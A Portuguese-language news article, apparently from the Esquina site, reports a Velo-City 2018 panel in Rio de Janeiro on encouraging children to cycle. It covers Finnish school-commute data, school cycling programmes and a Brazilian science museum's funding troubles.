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Mobilidade 13.06.2018 — 6:01 am

A escola é o principal motivo para crianças pedalarem

Felix Lima
Sanna Ojajärvi, no Velo-City 2018 / Foto: Felix Lima

Quando pensamos em crianças andando de bicicleta, imaginamos passeios em praças e parques. Mas é a ida e a volta da escola e o que é ensinado no dia a dia as principais razões de os pequenos pedalarem. No painel “Ciclismo na Infância, uma ferramenta de aprendizado”, realizado no Velo-City 2018 e parte do especial #EsquinaNoPedal, especialistas de diferentes países compartilharam suas experiências no esforço de incentivar as crianças a utilizarem mais a bicicleta.

Ciclismo na Infância

📣AO VIVO 📣Diretamente do Velo-city no Rio de Janeiro: Cycling from childhood- a learning tool // Ciclismo na Infância, uma ferramenta de aprendizado, sobre como incentivar o ciclismo desde a infância, com Ton Daggers, Sanna Ojajärvi, Fred Furtado e Ana Maria Nascimento Destri #EsquinaNoPedal #VeloCity2018Bio dos palestrantes: https://www.velo-city2018.rio/copia-speakers-2

Publicado por Esquina: Encontros sobre cidades em Terça-feira, 12 de junho de 2018

 

Sanna Ojajärvi, gerente de desenvolvimento na Rede de Municípios de Ciclismo Finlandeses, apresentou dados sobre a adesão dos pequenos. Uma pesquisa feita pelo governo federal a cada cinco anos mostra que, em média, 28% das crianças vão para a escola pedalando. Outras 31% caminham, 18% usam ônibus e 13% são levadas de carro. O que a preocupa, diz, é a proporção de percursos feitos de carro, que cresce enquanto a de bicicletas permanece estável. 


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Por isso, a Rede de Municípios de Ciclismo Finlandeses passou a adotar práticas como disseminar as melhores rotas até a escola, criar mapas que tragam avaliações dos percursos e permitam medidas para melhorar a infraestrutura e fomentar cooperação entre associações, escolas e prefeituras, o que tem acontecido por exemplo na cidade de Lappeenranta. Reduzir a velocidade dos veículos, criar áreas de trânsito calmo e treinar os jovens ciclistas para o trânsito também são ações importantes, e que podem ser potencializadas por uma mudança cultural. “Deveríamos respeitar mais quem está na bicicleta”, afirma Sanna.

Felix Lima

Ton Daggers, no Velo-City 2018 / Foto: Felix Lima

 

Ton Daggers, que é membro da diretoria da IBC Cycling Consulting da Fundação Movilization e trabalhou com o ex-prefeito de Bogotá Enrique Penalosa na implantação de ciclovias, falou sobre a necessidade de incentivar professores a irem trabalhar de bicicleta como forma de inserir o assunto na vida das crianças.

Na Holanda, o programa Bike to Work incentiva empresas com mais de 5.000 funcionários a ir ao trabalho pedalando de duas a três vezes por semana, o que deveria ser estendido aos docentes. “Uma escola não é outra coisa que não uma empresa”, diz. E acrescenta: “Ensinamos às crianças desde cedo que rua é perigo. Precisamos mudar esse paradigma, criar áreas ao redor das escolas que ofereçam segurança e certificar as escolas que fazem isso”, afirma o especialista.

Ana Maria Destri, professora formada em Educação Física, voluntária do Bike Anjo e fundadora do Bicicleta na Escola, falou sobre o programa iniciado em 2013 e que hoje atende 2.000 crianças em 19 escolas. A proposta é explorar o tema da bicicleta em todas as disciplinas como forma de despertar o interesse e incentivar os deslocamentos das crianças por pedais.

Fred Furtado, do Museu Ciência e Vida, localizado em Duque de Caxias, região metropolitana do Rio, lidera uma ação com o mesmo propósito. O intuito é consolidar um projeto que permita apresentar às crianças a bicicleta sob a perspectiva de diferentes áreas do conhecimento. A falta de verbas, porém, emperrou a iniciativa. “Como o museu é público, tem orçamento do estado, tivemos de reduzir nosso horário de atendimento, o que gerou queda de público. O Museu deveria funcionar como universidade pública, mas nosso orçamento só cobre luz, limpeza e segurança”, diz.

Ana Destri também criticou a falta de atenção do poder público. “Toda gestão trabalha para seu próprio umbigo e queremos quebrar isso, estimulando as crianças a refletirem e formarem massa crítica”, diz. “Cidade segura é onde a criança pode brincar na rua”.

O Velo-City é o principal evento sobre bicicletas do mundo e acontece no Rio de Janeiro entre 12 e 15 de junho, no Píer Mauá, com patrocínio do Itaú-Unibanco.


#EsquinaNoPedal

Acompanhe nossa cobertura completa sobre o Velo-City 2018

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